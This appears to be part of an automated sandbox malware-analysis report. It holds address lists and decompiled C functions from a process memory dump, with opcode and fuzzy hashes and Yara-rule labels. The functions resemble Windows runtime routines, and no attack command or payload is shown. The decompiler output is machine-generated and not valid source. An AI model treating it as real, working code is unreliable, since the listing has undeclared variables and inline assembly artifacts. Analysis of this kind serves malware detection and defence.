0x04648a30
0x04648a36
0x04648a3c
0x04648a3e
0x04648a4a
0x04648a52
0x04648a9c
0x04648aae
0x04648a58
0x04648a5e
0x04648a6a
0x04648a6f
0x04648a75
0x04648a7d
0x04648a85
0x04648a86
0x04648a89
0x04648a93
0x04648a99
0x04648a9b
0x00000000
0x04648aaf
0x04648abe
0x04648ac3
0x04648acb
0x04648ad7
0x04648ae0
0x04648af1
0x00000000
0x04648af1
0x04648acd
0x04648ad5
0x04648afb
0x04648afd
0x04648aff
0x04648b07
0x04648b22
0x04648b24
0x04648b2a
0x04648b2e
0x04648b3f
0x04648b78
0x04648b41
0x04648b52
0x04648b54
0x04648b5c
0x04648b74
0x04648b74
0x04648b5c
0x04648b3f
0x04648b5e
0x04648b61
0x04648b64
0x04648b64
0x04648b6c
0x04648b6c
0x04648b11
0x04699cd5
0x04699cd5
0x04648b17
0x04648b1a
0x04648b1a
0x00000000
0x04648ad5
0x04648a89

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2fa877b85754892a20dd5fe384684a520b0555fe15d2e7052b38eb87dc72d5
Instruction ID: 337b45cba240389ba84961b098c834640b0ff0ae9d968a4313f9b255e9bf118e
Opcode Fuzzy Hash: ea2fa877b85754892a20dd5fe384684a520b0555fe15d2e7052b38eb87dc72d5
Instruction Fuzzy Hash: 51415EB4A002289FDF24EF55CC88AAAB7F4EB94304F1045EAD91997351F770AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 046FAA16, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046FAA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E046FABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E046FAB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E046FAC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E046DCB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L046577F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E04657D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E046F131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E046DCB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}

0x046faa1f
0x046faa21
0x046faa23
0x046faa2b
0x046faa30
0x046faa36
0x046faa39
0x046faa42
0x046faa75
0x046faa7a
0x046faa7c
0x046faa7c
0x046faa88
0x046faa8a
0x046faa8f
0x046fab02
0x046fab04
0x046faa99
0x046faaa8
0x046faaaf
0x046faab3
0x046faacc
0x046faad1
0x046faad6
0x046faae0
0x046faaf3
0x046faaf9
0x046faafe
0x046faafe
0x046faaf3
0x046faad6
0x046faab3
0x046fab07
0x046fab0a
0x046fab11
0x046fab23
0x046fab13
0x046fab1c
0x046fab1c
0x046fab2b
0x046fab44
0x046fab44
0x046fab51
0x046fab51
0x046faa44
0x046faa47
0x046faa4c
0x00000000
0x00000000
0x046faa5a
0x046faa64
0x046faa72
0x00000000
0x046faa66
0x046faa66
0x046faa68
0x046faa6a
0x00000000
0x046faa6a

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: 356dd01b0bab64852fa2db487f164d91d89dcfb90d256c44dabd4e5d9561f850
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: 4531C232F101046BEB158BA9CD45BAFFBBAEF84310F058069EA89A7351FA74AD04C650

Uniqueness

Uniqueness Score: -1.00%

Function 046FFDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E046FFDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E046FFD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E04700A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E04657D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E046F1608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E04702B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E046FC8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E046FDBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E04657D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E046FA80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x046ffde7
0x046ffde8
0x046ffdec
0x046ffdee
0x046ffdf5
0x046ffdf7
0x046ffdfc
0x046ffe19
0x046ffe22
0x046ffe26
0x046ffec6
0x046ffecd
0x046ffed5
0x046ffee7
0x046ffed7
0x046ffee0
0x046ffee0
0x046ffeef
0x046fff00
0x046fff02
0x046fff07
0x046fff07
0x00000000
0x046ffeef
0x046ffe33
0x046ffe55
0x046ffe59
0x046ffe5b
0x046ffe5e
0x046ffe69
0x046ffe6d
0x046ffe6d
0x046ffe69
0x046ffe35
0x046ffe41
0x046ffe41
0x046ffe79
0x046ffe8b
0x046ffe7b
0x046ffe84
0x046ffe84
0x046ffe93
0x00000000
0x046ffea8
0x046ffeba
0x00000000
0x046ffeba
0x046ffdfe
0x046ffe01
0x046ffe02
0x046ffe08
0x046fff0c
0x046fff14
0x046fff14

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 7ce9b4b41556c206b811203582476550663e72769cf254195e308a104b59782f
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 7631F632300640AFD72A9B68CC44F6A7BE9EF85750F18455AEA868B352FAB4FC41C714

Uniqueness

Uniqueness Score: -1.00%

Function 046FEA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E046FEA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E04652280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E046FE815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E0463F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E0464FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E046FAFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E046FBCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E04657D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E046EFE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E0464FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E046FA80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x046fea55
0x046fea66
0x046fea68
0x046fea6c
0x046fea6f
0x046fea72
0x046fea75
0x046fea7a
0x046fea7a
0x046fea7e
0x046fea80
0x046fea85
0x046fea8b
0x046feab5
0x046feabc
0x046feabf
0x046feabf
0x046feaca
0x046feace
0x046fead0
0x046feae4
0x046feaeb
0x046feaf0
0x046feaf5
0x046feb09
0x046feb0d
0x046feb1d
0x046feb2d
0x046feb38
0x046feb3d
0x046feb41
0x046feb4a
0x046feb60
0x046feb4c
0x046feb52
0x046feb59
0x046feb59
0x046feb68
0x046feb71
0x046feb71
0x046fea8d
0x046fea8f
0x046fea92
0x046fea97
0x046fea97
0x046fea9b
0x046fea9c
0x046fea9e
0x046feaa6
0x046feaa6
0x046feb7e

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 405c89922ae3bac55096b44d900a8e9f4baf71dc66010b28dbd92156cbb951fc
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 9B31C172604705ABD719DF24CC80A6BBBAAFBC0314F04492DEA9687750FB31F805CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 046B69A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E046B69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x472d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L04646C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E046B6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E04679980() >= 0) {
							E04652280(_t56, 0x4728778);
							_t77 = 1;
							_t68 = 1;
							if( *0x4728774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x4728774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E0463B6F0(0x461c338, 0x461c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E04679520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E046795D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E0464FFB0(_t68, _t77, 0x4728778);
				}
				_pop(_t78);
				return E0467B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x046b69b5
0x046b69be
0x046b69c3
0x046b69c9
0x046b69cc
0x046b69d1
0x046b69d3
0x046b69de
0x046b69e1
0x046b69ea
0x046b69f6
0x046b69fe
0x046b6a13
0x046b6a14
0x046b6a15
0x046b6a16
0x046b6a1e
0x046b6a26
0x046b6a31
0x046b6a36
0x046b6a37
0x046b6a40
0x046b6a49
0x046b6a4a
0x046b6a53
0x046b6a59
0x046b6a5d
0x046b6a5e
0x046b6a64
0x046b6a67
0x046b6a6a
0x046b6a6d
0x046b6a70
0x046b6a77
0x046b6a7d
0x046b6a86
0x046b6a89
0x046b6a9c
0x046b6a9f
0x046b6aa2
0x046b6aa5
0x046b6aaf
0x046b6ab1
0x046b6ab8
0x046b6ab9
0x046b6abb
0x046b6abe
0x046b6ac5
0x046b6ac5
0x046b6aaf
0x046b6a40
0x046b6a26
0x046b69fe
0x046b6ace
0x046b6ad0
0x046b6ad3
0x046b6ad8
0x046b6adf
0x046b6adf
0x046b6ae8
0x046b6aef
0x046b6aef
0x046b6af9
0x046b6b06

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd386c2f92bb5dd5ec367d5532de01d95e3d1329918a5a86283d9ffac5a93993
Instruction ID: 498a3138a1bededa3b9789494223ec95331119d6cc8bce99484b6257bdff98c4
Opcode Fuzzy Hash: fd386c2f92bb5dd5ec367d5532de01d95e3d1329918a5a86283d9ffac5a93993
Instruction Fuzzy Hash: 84419EB1D002089FEB24DFA5D940BFEBBF8EF48704F14812AE855A3350EB75A945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04635210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04635210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E046352A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E046795D0();
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E0464EB70(_t54, 0x47279a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E046795D0();
								L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E0464EB70(_t54, 0x47279a0);
						}
						return _t52;
					}
					L5:
					_t33 = E0467F3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E0464EB70(_t54, 0x47279a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E046795D0();
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x04635220
0x04635224
0x04690d13
0x04690d16
0x04690d19
0x0463522a
0x0463522a
0x0463522d
0x0463522d
0x04635231
0x04635235
0x04635239
0x04690d5c
0x04690d62
0x00000000
0x00000000
0x04690d6a
0x04690d7b
0x04690d7f
0x04690d81
0x04690d84
0x04690d95
0x04690d95
0x04690d6c
0x04690d71
0x04690d71
0x04690d9a
0x00000000
0x0463524a
0x0463524a
0x04635250
0x04690d24
0x04690d35
0x04690d39
0x04690d3b
0x04690d3e
0x04690d50
0x04690d50
0x04690d26
0x04690d2b
0x04690d2b
0x00000000
0x04690d55
0x04635256
0x0463525b
0x04635265
0x04690da7
0x0463526b
0x0463526e
0x04635272
0x04690db1
0x04690db4
0x04690dc5
0x04690dc5
0x04635272
0x04635278
0x0463527e
0x0463528a
0x0463528c
0x0463528d
0x00000000
0x04635280
0x04635282
0x04635288
0x0463529f
0x04635292
0x00000000
0x04635292
0x00000000
0x04635288
0x0463527e

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed7a9431f977c61db8877cbe4d742524f0e45117a36b9120bddf6970db5ea650
Instruction ID: 811d4d5d94b57d1c380ebf656e09b74e202b63979d60c0f613e7bbd7d3e005d1
Opcode Fuzzy Hash: ed7a9431f977c61db8877cbe4d742524f0e45117a36b9120bddf6970db5ea650
Instruction Fuzzy Hash: FD313531241A50EBDB25AF28C980F2677F9FF10765F154A1AE8564B2A0FBB0FC05CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04673D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04673D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E04647B60(0, _t61, 0x46111c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E04647B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L04654620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x04673d4c
0x04673d50
0x04673d55
0x04673d5e
0x046ae79a
0x00000000
0x046ae79a
0x04673d68
0x046ae789
0x04673d9d
0x04673da3
0x04673daf
0x04673db5
0x04673dbc
0x04673dc4
0x04673dc9
0x04673dce
0x046ae7ae
0x046ae7ae
0x04673dde
0x04673de2
0x04673de7
0x04673e0d
0x04673e13
0x04673e16
0x04673e1e
0x04673e25
0x04673e28
0x00000000
0x00000000
0x04673e2a
0x04673e2f
0x04673e37
0x04673e37
0x00000000
0x04673e37
0x04673e31
0x00000000
0x04673e31
0x04673e20
0x04673e20
0x04673e35
0x00000000
0x04673de9
0x04673de9
0x04673de9
0x04673dee
0x04673dfd
0x04673dff
0x04673e02
0x04673e05
0x04673e05
0x00000000
0x04673df0
0x04673de7
0x046ae78f
0x046ae794
0x04673d79
0x04673d84
0x04673d89
0x04673d8e
0x00000000
0x046ae7a4
0x04673d96
0x04673d9a
0x00000000
0x04673d9a
0x00000000
0x046ae794
0x04673d6e
0x04673d73
0x00000000
0x046ae7b5
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdbb0f2ffd08b06ab32682c3a4688f9ab8d964f968333ac9f4a567c6898bc302
Instruction ID: 57477faff782ff8cb4cd57e79830517512d644497dea3f572fd26068b453a2ad
Opcode Fuzzy Hash: bdbb0f2ffd08b06ab32682c3a4688f9ab8d964f968333ac9f4a567c6898bc302
Instruction Fuzzy Hash: 03319E71B45615DBD7248F29C841A6ABBE5EFA5700B05C46FE845CB360FB30E881EB91

Uniqueness

Uniqueness Score: -1.00%

Function 0466A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0466A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x4710220);
				E0468D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x4727b9c; // 0x0
				_t55 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E0468D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x4727b10 =  *0x4727b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x472536c; // 0xa70d10
					if( *_t51 != 0x4725368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x4725368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x472536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E0466A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x0466a61c
0x0466a61e
0x0466a623
0x0466a628
0x0466a62b
0x0466a62d
0x0466a648
0x0466a64a
0x0466a64f
0x046a9b44
